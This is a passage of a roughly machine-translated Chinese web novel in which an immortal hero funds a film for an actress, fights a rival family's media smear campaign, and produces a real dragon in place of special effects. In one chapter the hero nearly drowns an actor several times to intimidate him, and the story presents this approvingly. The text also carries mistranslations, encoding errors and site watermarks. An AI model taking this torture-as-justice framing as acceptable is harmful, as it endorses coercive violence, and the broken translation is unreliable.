    Although the cultivator needs to cut off his mortals, if he kills blindly, it will only fall into the magical way.


    Only by upholding a heart of innocence, can it be profitable!


    Xue An stepped forward and walked to the woman''s bed.


    He could tell at a glance that this woman was close to running out of oil, and it was a miracle that she could live till now.


    can even be said to be holding it all in one breath.


    And what is this tone.


    It can be seen from the woman''s extremely nostalgic and unwilling eyes when looking at Cao Zheng.


    Xue An''s rock-solid state of mind could not help but be moved.


    So he stretched out his hand and faintly shouted: "Ning!"


    The woman''s soul is gone, if the soul is not gathered first, then no panacea can be saved.


    can condense the soul, who can do it except gods?


    It just so happens that Xue An is a god.


    and it is the supreme one in the fairy.


    With an order, countless light spots gradually condense.


    This magical scene left Cao Zheng dumbfounded.


    But the woman''s eyes gradually became clearer.


    After a while, Xue An stepped back and took out a Pei Yuan Dan.


    This was originally made with leftover medicine dregs.


    But for ordinary people, this is already a magic medicine.


    Xue An threw it to Cao Zheng, "This medicine can prolong life for a hundred years."


    Cao Zheng took the pill and went forward without hesitation to prepare to feed it to the woman.


    This is also what Xue An deliberately did.


    He wanted to see how this man would choose in front of the magic medicine that could prolong his life.


    As a result, he did not disappoint.


    Although the woman still has a weak breath at this moment, she looks much better.


    She also heard Xue An''s words and knew the preciousness of this medicine.


    After Cao Zheng fed her, she bit half of it in her mouth, and then suddenly kissed Cao Zheng''s lips.


    Han Yao was stunned by this scene.


    The sunlight from outside came in and sprinkled on the two people, coating the two ordinary mortals with a layer of gold.


    Cao Zheng didn''t want to eat at first, but the woman whispered in his ear: "Eat it, or I live for so long by myself. How lonely would be without you?"


    Cao Zheng silently swallowed the medicine.


    After a while, the woman frowned, then turned over and sat up.


    Cao Zheng is stupid.


    He never thought that this pill would have such a magical effect.


    "Help me to the bathroom!" The woman was a little shy.


    Cao Zheng hurried forward, picked up the woman and rushed into the bathroom.


    Han Yao said with some envy at this time: "It''s really touching love."


    Xue An was silent, thinking silently in his heart.


    An Yan.


    where are you now?


    Are you ok?


    wait for me!


    When I break through the current realm and reach the top of this world, I will pick you up.


    The road to immortality is long, but if you are there, then everything is not a problem.


    After ten minutes, the woman staggered out.


    Cao was following carefully behind, for fear that she would fall again.


    After walking to Xue An, Cao Zheng and the woman fell to the ground together.


    Cao Zheng banged his head with a sound, his forehead was blue with a few bangs.


    But Cao Zheng still couldn''t help but burst into tears, even unable to speak.


    At this time, the woman was a little loving and wiped away the tears on Cao Zheng''s face.


    Cao Zheng shook his head, and said sternly: "Sir, I don''t want to thank you, but if you have anything, even if you order, I will do it for you if Cao Zheng is dead!"


    Xue An smiled, "You wereted a pill to save me, and now you are dying?"


    Cao Zheng was taken aback.


    Yes!


    This kind of pill that can restore the dying person to the original in an instant is extremely precious.


    Xue An said lightly at this time: "I don''t want you to die, just let you make a movie!"


    "Make a movie?" Cao Zheng smiled bitterly.


    "Who dares to let me make a movie now? Or... who dares to offend the Xie family?"


    When Xie''s family was mentioned, Cao Zheng''s eyes flashed with hatred.


    He fell into such a miserable situation, most of the reason was because of the Xie family.


    Xue An smiled faintly Ordinary people dare not offend the Xie family, but... I dare! "


    After Han Yao clarified the matter to Cao Zheng, Cao Zheng nodded without hesitation.


    then hesitated and said, "But what about the script now?"


    As a former director ghost.


    He knows the importance of scripts.


    It can be said that if a movie is a dish, the director is the chef, and the script is the ingredients.


    There are no ingredients, even if you are a top chef, you can only stare.


    Han Yao is also a little worried about this.


    Although Xue An said it was okay, after all, there is no eyebrows about the script.


    Xue An smiled, and then took out a piece of paper.


    This is what he wrote in his spare time last night.


    "Look at this first!"


    Cao Zheng took it, not paying much attention to it at first.


    After a few glances, his expression gradually became serious.


    After watching, Cao Zheng was silent for a moment, and finally sighed.


    "Extremely conceived, utterly conceived! Although this story is only a summary, it can already be seen that its majestic momentum is coming!"


    Cao Zheng really deserves to be a former ghost director.


    You can see the incomparable subtlety of this story at a glance.


    If he knew this was written by Xue An in an hour, he would be even more surprised.


    Actually, Xue An''s three thousand years are not for nothing.


    tossing around the sky, I have seen too many people and things.


    The heart of Dao has been tempered and perfected, and at the same time it has also created Xue An��s countless amazing talents.


    For example, writing is too simple for Xue An.


    That''s why he said that the script is not a problem at all.

 Chapter 88： I will give you 1 billion!

    "But there is a problem. Although this idea is very subtle, it will cost a lot of money if it is really shot as it is!" Cao Zheng said with a serious face.


    He was right.


    The story written by ���� Xue An is a story of a woman who killed the nine heavens in order to find her original heart.


    There are many big scenes among them.


    If these are photographed, they are all money!


    Xue An smiled, "Let��s talk, how much do you want!"


    Cao Zheng took a deep breath, frowned and thought for a moment, then stretched out two fingers, "At least 200 million!"


    Before Xue An could finish speaking, a cold voice came from the door.


    "I will give you a billion!"


    Cao Zheng was stunned.


    Following the voice, Qin Yu walked in.


    She arrived overnight. When she arrived at the hotel, she learned that Xue An had already invited the director, so she came here non-stop, just when she heard Cao Zheng''s offer outside the door, so she blurted out.


    After Qin Yu walked in, he nodded at Xue An first, "Mr. Xue!"


    Xue An seemed to have expected her to come, so she just smiled.


    Qin Yu looked at the stunned Cao Zheng again, and said with a serious face: "One billion, what is your account number, I can call right now!"


    Cao Zheng is a little confused.


    Are all filmmakers so proud now?


    I remember when I used to make movies, I often ran out of money when I was filming. At that time I had to ask my grandpa to ask my grandma to invest.


    is fine now!


    hasn''t started shooting yet, so the money will be credited to my account?


    But Cao Zheng''s heart gradually agitated.


    Before today, he was actually completely desperate.


    He even planned to do it, and when his lover died, he would jump off the building.


    Because there is nothing to miss in this world!


    But in a blink of an eye, the beloved is recovering as before, and I can get back to my beloved career.


    And all of this is because of this man with indifferent expression!


    At this moment, Cao Zheng made up his mind.


    Shi died for his confidant.


    Since the other party rescued him, even if his brain is stunned, he must make this movie!


    Wang Wenjian opened Weibo and habitually went to Fan Mengxue''s Weibo to check.


    This is a habit he has developed over the past year.


    Wang Wenjian is a big fan of Fan Mengxue.


    He likes the elegant temperament of Fan Mengxue.


    is different from other coquettish **** in the entertainment industry.


    Fan Mengxue has never had those messy scandals.


    But something happened to Fan Mengxue recently.


    I heard that it had offended some big and young, so I was blocked, and even the movie that was being filmed was replaced.


    This makes Wang Wenjian angry.


    But he is just an ordinary person, he can''t do much at all, the only thing he can do is to say a few words for Fan Mengxue in the fan group he has established.


    That''s right.


    Wang Wenjian is still a large group of administrators, everyone in this group is basically Fan Mengxue''s fans.


    As soon as the incident came out, these normally unknown fans all came forward and wanted to do something for their idol.


    But their strength is too weak to help.


    Today, Wang Wenjian came to Fan Mengxue''s Weibo to leave her a message. Although it is estimated that it is difficult to be seen, Wang Wenjian still wants to tell Fan Mengxue.


    There are still many fans behind her silently supporting her!


    what.


    Fan Mengxue, who had been silent for a long time, suddenly added a message on Weibo.


    Look at the date, it was released today!


    Wang Wenjian was excited in his heart, and immediately clicked.


    The content of ���� Weibo is very short, only a few words.


    Tomorrow, the press conference is waiting for you!


    Press conference?


    What conference?


    Many question marks appeared in Wang Wenjian''s mind.


    At the same time.


    Fan Mengxue��s Weibo was like a bomb, and the entire entertainment circle was upset.


    Many people have only one reaction after seeing it.


    Fan Mengxue is desperate!


    Could it be that he was retiring at the press conference?


    Maybe this is the case!


    For example, Hua Ruyue sneered triumphantly after seeing the news.


    Despite these two days, she was also a little worried.


    After all, none of the men in black sent out came back!


    can see what it is now.


    Fan Mengxue is probably persuaded!


    Hum, when you retire, I will find another chance to ruin you!


    Hua Ruyue is full of spiteful thoughts.


    Her jealousy towards Fan Mengxue has deepened into her bones.


    Can''t wait for Fan Mengxue to be ruined now!


    Within half a day, Fan Mengxue��s Weibo has been topped in the hot search list.


    Countless people commented below.


    There are doubts and cynicism, but it is more fans cheering!


    and Wang Wenjian left a message in the group as soon as possible.


    "Mengxue''s conference tomorrow, who will come to support me?"


    The group exploded immediately.


    "I!"


    "I am going too!"


    "And I!"


    "I can''t go, but I can pay!"


    "me too!"


    Wang Wenjian looked at these messages and couldn''t help tearing his eyes.


    Unlike other stars�� fans, Fan Mengxue��s fans are always gentle and understanding.


    But when something really happens, these lovely people will come forward as soon as possible.


    And the reporters swarmed like sharks smelling blood.


    Although it was still very early on this day, the conference site was already crowded.


    Countless reporters set up long guns and short guns, waiting for Fan Mengxue''s arrival for a while.


    Wang Wenjian and others were holding banners and slogans in the field.


    It says: In the wind and rain! Mengxue, we will accompany you!


    at last.


    There was a commotion in the crowd.


    I saw that Fan Mengxue was wearing a well-tailored costume, with an elegant smile on his face, walking to the front of the stage.


    The flashes under the stage flashed into one.


    Countless reporters thought they could rush to the front.


    "Miss Fan, there is news that you are going to retire this time, is that right?"


    "Miss Fan, your movie was replaced by Hua Ruyue, and Hua Ruyue threatened to drive you away with her strength. What do you want to say?"


    "Miss Fan..."


    Numerous questions seemed to drown Fan Mengxue.


    And at this time, Han Yao came over and blocked these wolf-like reporters for Fan Mengxue. UU reading www. uukanshu.com then said loudly: "Everyone, be quiet."


    The field gradually calmed down.


    Fan Mengxue smiled and said: "Thank you all for coming. This time I am not announcing my retirement, but to tell everyone that I...I am going to shoot a new movie!"


    After a short silence, these reporters went crazy.


    Fan Mengxue wants to make a movie again?


    How is this possible?


    Xie''s family has spoken, who else would dare to invest in her?


    This time, Han Yao shouted loudly several times, but they couldn''t calm down the reporters.


    There are also some unpredictable people who deliberately squeezed forward, and for a while, the whole audience was in chaos.


    At this moment, Xue An, who was watching from the background, strode to the front of the stage and said coldly: "Quiet!"


    is not loud, but it makes everyone hear clearly.


    And Xue An''s voice seemed to have a magical power, making everyone startled.


    Xue An looked around the audience at this time, and many people lowered their heads unnaturally when they passed the line of sight.


    Xue An said faintly at this time: "I know what you want to ask, I am the investor in this new movie."


    There was another commotion under the stage.


    This handsome man is actually an investor?


    What is the relationship between him and Fan Mengxue?


    Xue An went on to say: "I made a movie because I heard that there was a movie being shot recently. What is the battle of the gods!"


    Xue settled down, a smile appeared at the corner of his mouth, "But I think that the gods are nothing more than powerful creatures, so I don''t shoot the war of the gods."


    "When I shoot, I will shoot the story of man''s destiny, so the name of this movie is..."


    "God Killer!"

 Chapter 89： God Killer Conference

    God killer? ?


    The audience was silent for a while, and then there was an uproar.


    Who didn��t know that the movie where Fan Mengxue was replaced was called Clash of the Gods.


    Now here is going to shoot a movie of God Killer, isn''t it obvious to be doing it against?


    But doesn''t this man know that the investor in Clash of the Gods is the Xie family?


    By doing this, I am not afraid to anger the Xie family?


    Many people look at Xue An''s eyes changed.


    is like looking at a fool who doesn''t know the height of the world.


    And many reporters faintly smelled a big news.


    One of the more courageous female reporters stood up and asked: "Excuse me, since you plan to help Ms. Fan Mengxue make a movie, who is the director? How much do you plan to invest?"


    These questions are all right to the point.


    Xue An smiled, did not answer directly, but asked, "Which newspaper are you from?"


    The female reporter was taken aback by Xue An''s smile, and then her face slowly turned red.


    "I am from Entertainment Weekly, my name is Chen Xiaoyi."


    "Ms. Chen, the questions you asked are very good. I will tell you one by one now. First of all, the director already has a director named Cao Zheng."


    Cao Zheng?


    The people under ���� looked at each other, many people had never heard of the name.


    Only some old reporters changed their faces.


    Chen Xiaoyi also shined, "But was it the Cao Zheng who was called the director of the ghost?"


    Xue An nodded, and then Cao Zheng, who changed into a formal suit, walked up.


    Although his face looked vicissitudes of life, many people recognized him at a glance.


    It really is that ghost director!


    This is interesting!


    Xue An continued: "As for investment..."


    Xue settled down, then stretched out a finger.


    Many people started talking about it.


    "How much is this? One hundred million?"


    "I don''t think it looks like this. This man doesn''t look like a rich man. He is probably a local rich man somewhere. I plan to pick up girls in the name of making a movie! I think it is 10 million at most!"


    "Take 10 million to make a movie? What''s that enough?"


    "Who knows, I guess I can just deal with it casually."


    Chen Xiaoyi was also a little curious, "How much is this?"


    Xue An smiled, "Tentatively, it will be...a billion!"


    One billion!


    This number froze the expression of the dear man who had just said disdainfully at most ten million.


    China''s film industry has developed rapidly in recent years, and movies with large investments are not uncommon.


    Generally speaking, more than 300 million is considered a big production.


    If it exceeds 500 million, it is simply a top masterpiece.


    For example, in this battle of the gods, it is rumored that the Xie family invested 400 million.


    And if what this man said is true, not only will this movie be regarded as a top masterpiece in China, it must also be top-notch internationally.


    Many people can''t help but change their color slightly.


    Chen Xiaoyi became more and more excited, "Then what is your relationship with Miss Fan Mengxue? Why do you help her like this?"


    As soon as this question came up, many people became interested.


    Fan Mengxue''s expression also became tense.


    Xue An smiled lightly, "I can only say that she is my best friend!"


    This answer cleverly avoided the point, which made Chen Xiaoyi a little mad, and was about to ask something more.


    At this time, An Qing led Xue Xiang and Xue Nian onto the stage.


    The appearance of the two little girls made many people''s eyes shine.


    As reporters, they have seen many beautiful children, especially those of celebrities, who often appear in front of the media.


    But those children are beautiful, but they all seem a bit too mature.


    ''S immature faces often have a stylized fake smile. Although the behavior is also cute, they all give people a fake feeling.


    But these two little girls gave people a refreshing feeling.


    is beautiful first.


    If the beauty can be scored, these two little girls will definitely get full marks.


    That is a kind of soft and beautiful that makes tough guys with a hard heart and stone heart soft.


    Next is purity.


    Many people have never seen such pure eyes.


    is like being carved from the cleanest gemstones, so people can''t help but indulge in it.


    Finally....


    is naturally cute.


    Just imagine, two extremely beautiful and pure little girls, the lethality was originally doubled, and then the two of them jumped onto the stage holding hands.


    Who can stand this?


    So many people couldn��t help but laugh foolishly, and some quick-reaction reporters aimed at the two little girls and kept taking pictures.


    Xue Xiang and Xue Nian walked up to Xue An, and they cried out with milky milk: "Baba!"


    This baba made many people petrify on the spot.


    ����?


    This man is actually the cake of these two little girls?


    Xue An put on a petting smile, bent down and hugged the two little girls in his arms, and then said to the people in the audience: "Excuse me, I have to take the kids, goodbye!"


    Turned around and left, ignoring the questions behind him.


    For Xue An, nothing is more important than two children, including myself.


    In Xue An''s heart, the child and his wife are tied for the first place, but I... barely ranked second.


    While he left, the other reporters all looked at Han Yao.


    After all, she is Fan Mengxue''s agent and she is also a recognized gold broker in the circle, and she has a good relationship with these reporters.


    "Sister Han, tell me what''s going on! Who is this gentleman?"


    "Sister Han, this time the filming starts, Miss Fan has regained the opportunity, what do you think?"


    "Sister Han..."


    These follow-up questions made Han Yao a little confused.


    Qin Yu stood in the background looking at the lively scene ahead, with a smile on his face.


    Mr. Xue is really amazing.


    At that time, he and Cao Zheng and others returned to the hotel, and then they discussed the first step.


    Xue An said at the time that since the filming is about to start, it should be more vigorous.


    That��s why I have Fan Mengxue��s Weibo and today��s press conference.


    At this moment, Chen Xiaoyi bit her lips angrily in the chaotic audience.


    What?


    Say goodbye without saying halfway?


    Also, who is this man?


    Why haven��t I seen it before?


    These questions made Chen Xiaoyi have a strong interest in Xue An.


    She gritted her teeth, turned around and walked out of the press conference. After returning to the hotel, she wrote a draft of the materials she prepared today.


    "Fan Mengxue Star Road is blocked, the new movie comes back to life? ? Who is the mysterious man? ��


    In the article, Chen Xiaoyi couldn''t help being partial to Xue An. First, he reviewed all the achievements of Fan Mengxue since his debut, and finally pointed out vaguely that some people''s bans were arrogant and unreasonable.


    After finishing writing, Chen Xiaoyi felt very satisfied, and then sent it to the editor-in-chief.


    She was sure, but this time she will definitely be able to post it.


    But I didn''t expect that after a while, the editor in chief responded.


    turn down.

 Chapter 90： Public opinion wars

    turn down?


    Why dismissed?


    Chen Xiaoyi felt a little inexplicable, and immediately dialed the editor''s number.


    The editor-in-chief said helplessly on the other end of the phone: "Xiao Chen, it''s not that you wrote badly, but you just received news. You can''t post such articles!"


    "Why?" Chen Xiaoyi was a little unconvinced.


    "Because... someone has spoken!"


    The editor hung up.


    Chen Xiaoyi sat there for a long time.


    Don��t ask, this must be the Xie��s trick.


    can even control an entertainment weekly like his own, which shows the power of the Xie family.


    I couldn''t help it, Chen Xiaoyi shuddered, and the man on the stage who was slamming Fang Qiu with amazing momentum appeared before him.


    Although I only saw one side today, Xue An left a deep impression on her.


    I don''t know... if he can win.


    just not long after the press conference started.


    Hua Ruyue knew the news.


    , who was filming on the crew, immediately returned to the lounge, took out her phone and looked at it.


    When I heard that Xue An was preparing to invest one billion yuan to help Fan Mengxue make a movie.


    She threw the phone directly in anger.


    Why!


    Why does this Fan Mengxue always encounter such a good thing?


    But after she calmed down, she felt that it was not that simple.


    This man is very unfamiliar, he should not be a rich man in the provincial capital.


    One billion is not a small number.


    Is it bragging?


    Maybe this is the case!


    And this is a provincial capital!


    Thank you less for the site.


    He dare to be so pushy?


    Are you bored to live?


    Hua Ruyue thought in her heart, and quickly called Xie Tianci.


    Xie Tianci actually knew it earlier.


    But he didn''t care about it.


    just looked at a photo with a sneer.


    This photo shows Qin Yu coming to the provincial capital.


    Has the Qin family come to join in the fun?


    Of course, Xie Tianci knew that the Qin family was planning to come to the provincial capital to expand business more than ten years ago, and the entire army was wiped out.


    Didn''t expect to dare to come this time? And also sent his granddaughter.


    Is this Qin Yuan always confused?


    and waiting for Hua Ruyue''s call.


    Thanks to Tianci, he just said lightly: "It''s okay, don''t they want to play? Then I will play with them!"


    finished speaking and hung up the phone, and then looked at Qin Yu''s delicate profile in the photo, his eyes gradually became greedy.


    The Qin family can be considered a wealthy family.


    Such a wealthy daughter, I don''t know what it is like.


    But since it was delivered, don''t blame me for being polite.


    As for Xue An��s speech and what the press conference.


    Thanks to Tianci, I didn''t even see it.


    In his opinion, this man is nothing more than a fool who understands nothing.


    But he noticed that Fan Mengxue looked at Xue An in the video of the press conference.


    Those are eyes full of love and admiration.


    This made Xie Tianci''s expression gradually darkened.


    "Want to fight with me? Okay! Let you know how great it is!"


    Xie Tianci dialed a call and only said a word.


    "Control public opinion!"


    As expected.


    By the next day, the caliber of all the media became very consistent.


    is almost all a mockery of this godslayer movie.


    There are a lot of bricks talking, but nothing more than a mockery of this conference.


    Some people even say that Xue An is a liar.


    That''s a billion after all!


    The media presents a one-sided situation.


    As for the Internet, there are tears everywhere.


    especially under Fan Mengxue''s Weibo.


    Kuroko and the fans are fighting like a raging fire.


    After dinner today, Wang Wenjian opened Weibo. After browsing it probably, his lungs were exploding.


    Those sunspots are simply good at fabricating facts.


    ''S slander of Fan Mengxue made Wang Wenjian more angry.


    He was there throughout the press conference. At that time, he heard Xue An said that after investing a billion to make a movie, he and other fans were going crazy.


    I didn''t expect these sunspots to say that Xue An must be a liar.


    Wang Wenjian took a deep breath, and then began to crackle the keyboard.


    This battle of public opinion began.


    At the beginning, public opinion on the Internet was extremely unfriendly to Fan Mengxue and Xue An, and even overwhelming.


    Gradually, many fans began to organize spontaneously, and resolutely blocked the slander and smear of these navy forces.


    The situation has actually begun to gradually become evenly matched.


    Many celebrities watched indifferently, and no one stood up and said something.


    Hua Ruyue pays close attention to public opinion on the Internet every day. When she sees that everything is under control, she can''t help but feel a little proud.


    Although Fan Mengxue has a lot of fans, it is impossible for them to turn the sky over.


    So she took a few photos from the crew and posted them on the Internet, with a very tired expression.


    After a while, the stars from all walks of life have liked and commented below.


    "Wow! Kisaragi is so beautiful today!"


    "Thank you!"


    "Thank you!"


    "I wish the battle of the gods a big box office!"


    Almost half of the stars in the entertainment industry have arrived.


    This is in sharp contrast to Fan Mengxue''s loneliness on Weibo.


    This can''t help making Hua Ruyue even more arrogant, and indulge in the dream of a sister in the circle.


    This also made her more and more swollen. In the crew, except for Steven, the other crew members slapped and scolded her. Everyone dared not speak.


    At this time, Fan Mengxue''s movie encountered another problem.


    That is one of the important male characters ~ www.novelhall.com ~ no one appeared.


    Han Yao has already said that this role can use a new traffic star in the circle, and it can also bring more exposure to the movie.


    Unexpectedly, this male star suddenly repented and put forward a high salary and request.


    Han Yao hung up the phone at this time, her face extremely ugly.


    Cao Zheng asked: "How is it?"


    Han Yao shook her head, gritted her teeth and said, "This bastard, don''t tell me anything, now I still use this as a threat!"


    Cao Zheng sighed.


    He knew it would not be that simple.


    "Then what should I do now?" Cao Zheng asked.


    "I have just discussed with him, so I will follow his request first. After all, this movie can''t be delayed." Han Yao said.


    The shooting of War of the Gods is already halfway through, and it hasn��t been turned on here yet. If it is delayed any more, it will be impossible to catch up.


    Cao Zheng nodded, "I have no choice but to do so!"


    the next day.


    Bi Yuntao walked out of the airport with sunglasses and a mask. Today, Han Yao personally came to pick him up. Seeing him coming, he hurriedly greeted him.


    Bi Yuntao��s assistant was a woman with a face full of flesh. When seeing Han Yao alone, he couldn��t help but sneered: ��Why should I pick him up alone?��


    But Bi Yuntao was indifferent, and he didn''t even look at Han Yao.


    Han Yao gritted her teeth and said with a smile: "Mr. Bi, there are too many things in the crew now, so I will pick it up by myself."


    "Huh! Get in the car first!" the fat assistant said coldly.


    Han Yao drove Bi Yuntao back to the location of the crew.


    This is the largest film and television city in the provincial capital. Qin Yu has a wealth of wealth and directly contracted the entire place to serve only this movie.

 Chapter 91： Do you think...you can still go?

    But just when everything was ready and ready to test the machine, something went wrong again at Bi Yuntao.


    Bi Yuntao��s assistant said indifferently: "Why do I want to live in this studio? I want to stay in a five-star hotel! How do you receive it?"


    Han Yao was not good-tempered at first, but this time because he rushed too fast, he couldn''t help but hold back his anger to explain.


    "Because the shooting schedule is very fast, so all the crew members live in the studio. I have ordered someone to arrange it. The accommodation conditions in this studio are not bad!"


    "It was not written in the contract, so I have to add money!" Bi Yuntao said suddenly.


    Han Yao gritted her teeth, "Okay!"


    Bi Yuntao was full of pride.


    He is not actually a top-level traffic little fresh meat, but he knows Fan Mengxue''s situation this time, so she just pointed to this movie and turned around.


    That''s why he dared to threaten this way.


    After all, apart from themselves, they couldn''t find a suitable actor for a while.


    The test machine finally started.


    In this plot, the heroine played by Fan Mengxue was arrested by the **** played by Bi Yuntao, and then tortured.


    "Stop!" Cao Zheng frowned, stood up and said: "This actor, your expression is too blunt, and why can''t your lines be unclear?"


    Bi Yuntao''s expression turned gloomy, "Lines? When did I say the lines when I made the movie? Aren''t they all dubbed later?"


    Cao Zheng''s eyes are wide, he has never seen an actor who can''t speak lines.


    "That won''t work, this time I have to listen on the spot, come again!"


    Fan Mengxue was originally tied to a pillar and immersed in water. If you shoot again, you will suffer another crime.


    And this Bi Yuntao is obviously not happy.


    He thought that this time he would just take a random shot, and then he could take the money and leave.


    But Cao Zhengcai didn''t care about those, he was extremely strict, and he was not polite.


    This makes him very annoyed.


    So later, I even deliberately started saying the wrong lines.


    Anyway, I was not soaking in the water.


    Bi Yuntao thought smugly.


    Although it is early summer, the water here is still very cold.


    Fan Mengxue entered the water over and over again, and the clothes he was wearing were soaked close to his body. The slim curve made Bi Yuntao''s eyes straight.


    This time he should have finished speaking and turned around.


    But he deliberately stepped forward and reached out and touched Fan Mengxue''s shoulder.


    Fan Mengxue was taken aback.


    Cao Zheng was even more furious.


    "what happened?"


    Bi Yuntao was even more angry, "Am I shooting? What are you shouting? Believe it or not, I''m not doing it now?"


    Bi Yuntao is sure to eat. Now Han Yao and others dare not offend themselves, so they speak with confidence.


    Cao Zheng is also a bit miserable.


    Bi Yuntao looked at everyone present with pride, and sneered: "No more nonsense, I will leave now! What do you do?"


    And just then, a calm voice came from not far away, "Go? Do you think... can you still go now?"


    Following the voice, Xue An came over.


    He took his two daughters to play in the playground in the provincial capital for a day today, so he came here now.


    When I first came to the film and television city, I heard that Bi Yuntao was talking loudly, and he also saw the scene just now.


    At this time, Xue An first smiled at Fan Mengxue, and then faintly said to Han Yao: "This is the so-called male artist you invited?"


    Han Yao didn''t dare to answer, lowered her head.


    Bi Yuntao looked at Xue An suspiciously, while his assistant stood up with a brutal face: "Who are you? What kind of tone do you use to speak to our teacher Bi?"


    Xue An narrowed his eyes slightly, "Ms. Bi? You mean him?"


    The female assistant said proudly, "Of course!"


    Xue An smiled, "Then you say...what tone should I use to talk to him?"


    "Of course it must be in a respectful tone! You must know that we take time out of our busy schedule to make a movie, you..." the female assistant chattered endlessly.


    Xue An waved his hand and smiled harmlessly, "You said too fast, get closer! Otherwise I can''t hear you!"


    The female assistant looked unclear, but she still leaned over, "What are you doing..."


    Xue An slapped it sharply.


    Although Xue An had deliberately controlled his strength, the slap in the face made the chubby female assistant fly directly, then turned around 720 degrees in the air, and plunged into the pool with a splash.


    This shocking slap slapped everyone in the crew.


    Xue An retracted his hand and said faintly: "Anything dares to call itself a teacher?"


    Bi Yuntao recovered at this time, his face was full of anger and fear, "You...you dare to hit someone? You are finished, I will call the police now, I want..."


    I didn''t finish the words behind, because Xue An grabbed his neck, walked to the pool, and then slammed down.


    Bi Yuntao''s head was sunk in the water.


    Those angry words turned into blisters and floated.


    Bi Yuntao''s hands and feet struggled hard, but Xue An''s hands were like cast iron, not moving.


    This scene frightened everyone.


    Because Xue An��s expression was too indifferent, as if he was not pressing a person, but a dog.


    After dozens of seconds, Bi Yuntao''s struggle gradually weakened.


    Xue An still didn''t mean to let go.


    No one dared to come forward to persuade, some of the courageous had even fought their legs.


    After nearly a minute, Xue An suddenly raised his hand.


    Bi Yuntao''s head came out of the water, first he coughed and sprayed water out of his trachea, and then began to gasp like a dead dog.


    But after only breathing for half a breath, Xue An pushed his head down again.


    is another minute. UU reading www.uuk��nshu.com


    Xue An lifted up, this time Bi Yuntao''s nose and tears flowed out, and the smell of urine came out of his crotch.


    was obviously scared to pee.


    But Xue An''s expression was calm, and before Bi Yuntao could speak, he pressed down again.


    Do this three times.


    Xue An then let go.


    At this moment, Bi Yuntao was already limp on the ground like a puddle of mud, unable to move!


    No one dared to speak.


    The fat assistant didn''t even dare to go ashore, just standing in the water shivering.


    Xue An took out a paper towel, slowly wiped the water stains on his hands, and asked faintly: "Are you still calling the police now?"


    Bi Yuntao trembled all over, looking at Xue An''s eyes as if looking at the devil, his teeth fighting.


    "Master... Master forgive me, I... I will never dare anymore!"


    Xue An smiled, "Then I just heard that you don''t seem to be used to living here, you want to stay in a five-star hotel?"


    "No, no, I live here, I don��t have a house!"


    "The contract..."


    "I''ll change the sign immediately, you can sign whatever you want! I don''t have to pay for it!" Bi Yuntao was about to cry.


    He had just been in the water and thought he was dead more than once.


    But this person seems to be able to grasp his own situation. Every time he is dying, he lifts himself up to the surface of the water, and then pushes himself into the water again when he has just breathed for half a breath.


    That kind of feeling....


    Bi Yuntao didn''t dare to think about it.


    Xue An just smiled, and then nodded, "This is good, I will pay you a reward, but you have to work hard, otherwise... I really like to wash people''s faces!"


    Wash your face... He actually called this wash your face? Bi Yuntao cried and thought.

 Chapter 92： The special effects are too late, so lets have a real dragon!

    It was almost early summer, and the weather began to get hotter gradually.


    And the shooting of the God Killer movie has come to an end.


    Cao Zheng can be regarded as the best use of his talented director skills, less than two months, the main part of the film was finished.


    After the sample came out, Bi Yuntao looked at himself in the screen, and couldn''t help but look silly.


    Although the performer is not too brilliant, he is still a qualified person. Is it really himself?


    It turns out that I can play a movie well.


    Bi Yuntao watched and couldn''t help tears.


    Suddenly, someone patted him on the shoulder.


    Bi Yuntao looked back and found that it was Xue An.


    "Good shot!" Xue An smiled slightly.


    Bi Yuntao cried harder, but this time he was frightened.


    He has already had a strong psychological shadow on Xue An, not to mention seeing Xue An, even when he hears Xue An��s name, he will tremble all over.


    "No... I dare..." Bi Yuntao said tremblingly.


    Cao Zheng said at this time: "Mr. Xue, now the subject is finished shooting, but the special effects rendering in the later stage is the most time-consuming, I''m afraid I can''t keep up!"


    This is what Cao Zheng is worried about.


    The plot of the God Killer is not complicated, but because it involves too many mysterious pictures, the special effects are the highlight.


    And Cao Zheng heard that the movie Clash of the Gods has now been finalized and is undergoing fine-tuning in the later stage.


    If you don��t hurry, you may not be able to keep up with the same schedule.


    Xue An nodded, and then Han Yao walked over with a green face.


    "I just contacted some of the top special effects companies in the industry. I didn''t have time or dared to pick them up!"


    Cao Zheng was anxious when he heard the words, "How could this happen? Even if you don''t have time, you can raise the price to buy it?"


    Han Yao smiled bitterly and shook her head, "I have raised the price to the highest in the industry, but no one is willing to pick it up."


    Cao Zheng frowned, this phenomenon is obviously abnormal.


    No one will put money away from earning.


    Then there is only one explanation. Someone is playing tricks behind.


    At this time, Qin Yu also said helplessly: "I also contacted several foreign companies. Although they are willing to accept, the delivery time is longer."


    This difficult problem lies in front of everyone.


    The expressions of many cast and crew have gradually become desperate.


    This is different from no actors or other difficulties.


    Special effects production is a highly professional job. There are only a few companies producing it. If they are unwilling to accept it, it will be really impossible.


    "Xie family! It must be the ghost of the Xie family!" Han Yao gritted her teeth angrily.


    Qin Yu was silent.


    It��s not hard to guess. The business is like this. Once you become an enemy, it��s a matter of life and death.


    Ke Road has been halfway down, but suddenly found that an insurmountable mountain appeared in front of him.


    It would be a little frustrating for anyone to change to.


    But when everyone was at a loss, Xue An said indifferently: "What special effect takes the most effort?"


    Cao Zheng frowned and said: "Everything else is easy to say, but a few of the mythical beasts are the most difficult to deal with, especially the golden dragon mount of the heroine''s late stage. It has the most appearances and is the most time-consuming."


    Xue An smiled, "Then...I have a way!"


    "What way?" Cao Zheng''s eyes lit up.


    Xue An looked at the Peking bus that was playing with his two daughters in the distance, and said lightly: "Since the special effects are too late, let''s do it!"


    The film and television city at night seems very deserted.


    In the largest studio, Cao Zheng, Han Yao, Fan Mengxue and others looked at the indomitable dragon in front of them, all dumbfounded.


    "Is this...is this the latest technology?" Cao Zheng looked suspicious and excited, stepping forward and stroking the scales of Jinlong.


    "It''s so realistic!" Cao Zheng exclaimed.


    Jinlong glanced at Cao Zheng disdainfully.


    A mortal not much stronger than a bug.


    If it weren''t for an adult''s order, how could he allow such mortals to approach.


    "It will move!" Cao Zheng seemed to have discovered some novel toy.


    But Xue Xiang and Xue Nian chuckled, "Idiot Uncle Cao, Xiao Sha is alive, of course he can move!"


    "Alive?" Cao Zheng didn''t react at the time. After he understood what he meant, his expression gradually petrified.


    "This...this dragon..." Cao Zheng stammered.


    Xue An nodded, "Yes, this dragon... is real!"


    Not only Cao Zheng, but also Han Yao and Fan Mengxue have changed.


    That''s a dragon!


    Chinese totem, a creature only found in myths and legends.


    I didn''t expect to actually exist, and I can see it with my own eyes.


    However, Han Yao and Fan Mengxue quickly recovered their peace.


